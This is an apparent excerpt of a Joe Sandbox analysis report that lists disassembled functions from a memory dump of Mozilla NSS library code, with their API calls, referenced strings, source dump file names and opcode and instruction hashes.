PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FCC
free.MOZGLUE(?,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FF4
free.MOZGLUE(?,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF16019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF16036

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 2e6ee290fbe4d0453edb64867c7cc060572cf9a1f5563ab0b5c607f8316d232e
Instruction ID: 394bbaf23b7040d815904ed0ad685b41e7cd85e38af164b94223ef5e93f078e3
Opcode Fuzzy Hash: 2e6ee290fbe4d0453edb64867c7cc060572cf9a1f5563ab0b5c607f8316d232e
Instruction Fuzzy Hash: B421D8F5A04B009BEA219F759C48BD777B8AF4574CF14092CE56AC7A40EB36F019CBA1

Function 6CE83C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEF460B,?,?), ref: 6CE83CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE83CB9
PL_HashTableLookup.NSS3(?), ref: 6CE83CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE83CD6
PR_Unlock.NSS3 ref: 6CE83CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE83CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE83D03
PR_Unlock.NSS3 ref: 6CE83D15

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: a163925f35a42da48a71d5ee04c9c5cdaaff504e6de7fd3951bbc4b39010efa6
Instruction ID: 4af13876336f840651c762b775babf7e8ae693c5aa2468da6e71256162e4da1f
Opcode Fuzzy Hash: a163925f35a42da48a71d5ee04c9c5cdaaff504e6de7fd3951bbc4b39010efa6
Instruction Fuzzy Hash: EE115C76E0150577EB415B34AC04AAA7B38EF0225CB390130ED1C83752FB22D958C3D1

Function 6CE89C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEA11C0: PR_NewLock.NSS3 ref: 6CEA1216

free.MOZGLUE(?), ref: 6CE89E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE89E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE89E4E
TlsGetValue.KERNEL32 ref: 6CE89EA2

Part of subcall function 6CE99500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE99546

EnterCriticalSection.KERNEL32(?), ref: 6CE89EB6
PR_Unlock.NSS3 ref: 6CE89ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE89F18

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 1c8221a9018216034228cf625ffc9d11cd78fc45de4fda51b9313057feb1babd
Instruction ID: 288a746a393ccb15036b7cc7a0ba0cc852808f6ddc213b33f0be2293b0e480f6
Opcode Fuzzy Hash: 1c8221a9018216034228cf625ffc9d11cd78fc45de4fda51b9313057feb1babd
Instruction Fuzzy Hash: 4A81D0B1E01601ABEB009F34DC41AABBBF9BF4524CF24452CE85987B51FB31E958C7A1

Function 6CE9DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CEA1397,5B5F5EC0,?,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB3C
Part of subcall function 6CE9AB10: free.MOZGLUE(D958E836,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB49
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(5D5E6D09), ref: 6CE9AB5C
Part of subcall function 6CE9AB10: free.MOZGLUE(5D5E6CFD), ref: 6CE9AB63
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE9AB6F
Part of subcall function 6CE9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE9AB76

TlsGetValue.KERNEL32 ref: 6CE9DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE9DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE9DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE9DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE9DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9DEA6
PR_Unlock.NSS3(?), ref: 6CE9DF08

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 07680a854307c23fa182aa144f0f5a5ec0df4e6548536056d03e57b482378f60
Instruction ID: 3ee027aabf106641706877a4b35fb017f0b067a73cebff3786202ca56113ab25
Opcode Fuzzy Hash: 07680a854307c23fa182aa144f0f5a5ec0df4e6548536056d03e57b482378f60
Instruction Fuzzy Hash: CF91D4B9E002159FDB00CF68C881BAAB7B5BF5530CF348129DD199B751E731EA46CBA1

Function 6CE55FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF3BB62,00000004,6CFA4CA4,?,?,00000000,?,?,6CE131DB), ref: 6CE560AB
sqlite3_config.NSS3(00000004,6CFA4CA4,6CF3BB62,00000004,6CFA4CA4,?,?,00000000,?,?,6CE131DB), ref: 6CE560EB
sqlite3_config.NSS3(00000012,6CFA4CC4,?,?,6CF3BB62,00000004,6CFA4CA4,?,?,00000000,?,?,6CE131DB), ref: 6CE56122

Strings

%s at line %d of [%.10s], xrefs: 6CE560A4
misuse, xrefs: 6CE5609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE56095

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: eabccffbca6ac1f6e17c7a6eee2eeea539ac050552927327d280dfa08a79ae54
Instruction ID: e927c95a0267fa9c3d069744197ac478726cab5f22725668578e0f47abd3c20f
Opcode Fuzzy Hash: eabccffbca6ac1f6e17c7a6eee2eeea539ac050552927327d280dfa08a79ae54
Instruction Fuzzy Hash: 99B14D74E1464ACFCB44CF6CC284AA9FBF0FB1E304B158159D509AB362E731BA85CB95

Function 6CE04F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE04FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE051BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CE051DF
%s at line %d of [%.10s], xrefs: 6CE051B4
misuse, xrefs: 6CE051AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE051A5

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 2d8d251e21264c8d891d4cbb6022f59b3067c6f0c39645487e3213ff53c38cbf
Instruction ID: 2f70ca53b74c21d0a69118037529cf340f03c3a02d24868149d1bf38dcc57b48
Opcode Fuzzy Hash: 2d8d251e21264c8d891d4cbb6022f59b3067c6f0c39645487e3213ff53c38cbf
Instruction Fuzzy Hash: A771CDB670520ADBEB00CE15CD80B9A77B6BF48308F244529FD099BB81D731E861CBE5

Function 6CE72D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE72D69

Strings

winTruncate2, xrefs: 6CE72EF8
winUnmapfile2, xrefs: 6CE72F7F
winUnmapfile1, xrefs: 6CE72F55
winTruncate1, xrefs: 6CE72EBE
winSeekFile, xrefs: 6CE72E9C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 8888d316cc5eb5a2835cadb73230267aff75bb8f34ce7b2f31e928defca94d9d
Instruction ID: c7efd222a7388dc74be93fb818df60e4320ac6c8108b0ebad4ebf7900be6779b
Opcode Fuzzy Hash: 8888d316cc5eb5a2835cadb73230267aff75bb8f34ce7b2f31e928defca94d9d
Instruction Fuzzy Hash: E161A275B00205DFDB54CF64DC84B6A7BB2FB5A314F20852DEA159B780DB31AD06CBA1

Function 6CEEFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CEEF165,6CFB219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEEFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEF00A6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 92c7cbe778a1a4259f7ecb69e3af30063711b987662426479322b780faf9d70c
Instruction ID: 90d5a58c2a01bcad940cf6d394b0d45d9d4829f2f9c93ce1a9251618981c1612
Opcode Fuzzy Hash: 92c7cbe778a1a4259f7ecb69e3af30063711b987662426479322b780faf9d70c
Instruction Fuzzy Hash: 415102B1E002559FDB108F98C8907AEB7B5BF49358F794629DC29A7B40D332AD02CBD0

Function 6CEADEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEADF37
EnterCriticalSection.KERNEL32(?), ref: 6CEADF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEADF96
PR_SetError.NSS3(00000000,00000000), ref: 6CEAE02B
PR_Unlock.NSS3(?), ref: 6CEAE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAE090
PR_Unlock.NSS3(?), ref: 6CEAE0AF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 00b357e22bedc893a6c5d7462d251cd5d43c7e3fc2ff1ff6e5b015968c4e9089
Instruction ID: e70bce6c228d4e6e524b26826e0d6cf3faafbea5dd4d4c217510c43e5458573c
Opcode Fuzzy Hash: 00b357e22bedc893a6c5d7462d251cd5d43c7e3fc2ff1ff6e5b015968c4e9089
Instruction Fuzzy Hash: 7951D238A00A008FEB209FA5D885B5773F5FF49308F304528E8564BB91D735E95ACBD2

Function 6CEABCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CEABD1E

Part of subcall function 6CE82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE82F0A
Part of subcall function 6CE82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE82F1D

Part of subcall function 6CEC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE8B41E,00000000,00000000,?,00000000,?,6CE8B41E,00000000,00000000,00000001,?), ref: 6CEC57E0
Part of subcall function 6CEC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEC5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEABD8C

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CEABD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CEABDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEABE3A

Part of subcall function 6CE83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE83EC2
Part of subcall function 6CE83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE83ED6
Part of subcall function 6CE83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE83EEE
Part of subcall function 6CE83E60: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE83F02
Part of subcall function 6CE83E60: PL_FreeArenaPool.NSS3 ref: 6CE83F14
Part of subcall function 6CE83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE83F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEABE52

Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE82CDA,?,00000000), ref: 6CE82E1E
Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE82E33
Part of subcall function 6CE82E00: TlsGetValue.KERNEL32 ref: 6CE82E4E
Part of subcall function 6CE82E00: EnterCriticalSection.KERNEL32(?), ref: 6CE82E5E
Part of subcall function 6CE82E00: PL_HashTableLookup.NSS3(?), ref: 6CE82E71
Part of subcall function 6CE82E00: PL_HashTableRemove.NSS3(?), ref: 6CE82E84
Part of subcall function 6CE82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE82E96
Part of subcall function 6CE82E00: PR_Unlock.NSS3 ref: 6CE82EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEABE61

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: faf2f57d6e8db286a893594ff0bcad974206572d3bd4d4ab1830cdb2179e76fe
Instruction ID: 5e7d92f37978a429b6c5139f958d26c7b44a6794e34a86e05c67d88900ea23f7
Opcode Fuzzy Hash: faf2f57d6e8db286a893594ff0bcad974206572d3bd4d4ab1830cdb2179e76fe
Instruction Fuzzy Hash: 0141F2B6E01214AFC710CF68DC80B6A77F4EF49718F258168F9099B712E735E906CB92

Function 6CECAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CECAB3E,?,?,?), ref: 6CECAC35

Part of subcall function 6CEACEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEACF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CECAB3E,?,?,?), ref: 6CECAC55

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CECAB3E,?,?), ref: 6CECAC70

Part of subcall function 6CEAE300: TlsGetValue.KERNEL32 ref: 6CEAE33C
Part of subcall function 6CEAE300: EnterCriticalSection.KERNEL32(?), ref: 6CEAE350
Part of subcall function 6CEAE300: PR_Unlock.NSS3(?), ref: 6CEAE5BC
Part of subcall function 6CEAE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CEAE5CA
Part of subcall function 6CEAE300: TlsGetValue.KERNEL32 ref: 6CEAE5F2
Part of subcall function 6CEAE300: EnterCriticalSection.KERNEL32(?), ref: 6CEAE606
Part of subcall function 6CEAE300: PORT_Alloc_Util.NSS3(?), ref: 6CEAE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CECAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CECAB3E), ref: 6CECACD7
PORT_Alloc_Util.NSS3(?), ref: 6CECAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CECAD2B

Part of subcall function 6CEAF360: TlsGetValue.KERNEL32(00000000,?,6CECA904,?), ref: 6CEAF38B
Part of subcall function 6CEAF360: EnterCriticalSection.KERNEL32(?,?,?,6CECA904,?), ref: 6CEAF3A0
Part of subcall function 6CEAF360: PR_Unlock.NSS3(?,?,?,?,6CECA904,?), ref: 6CEAF3D3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 7f892ffc2d0d9ee171969ff41a7d68694daa8f2afeb80ce09902108090c4f46b
Instruction ID: 0d2c48cb3fbdf8193549e3aa90734e15081625f30eb23864feb99c4452ff16e3
Opcode Fuzzy Hash: 7f892ffc2d0d9ee171969ff41a7d68694daa8f2afeb80ce09902108090c4f46b
Instruction Fuzzy Hash: 5D3129B1F406055FEB008F69CD409EF7B76AF8431CB288128E825AB740EB31DD1687A2

Function 6CEA8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CEA8C7C

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEA8CB0
TlsGetValue.KERNEL32 ref: 6CEA8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CEA8CE5
PR_Unlock.NSS3(?), ref: 6CEA8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CEA8D62
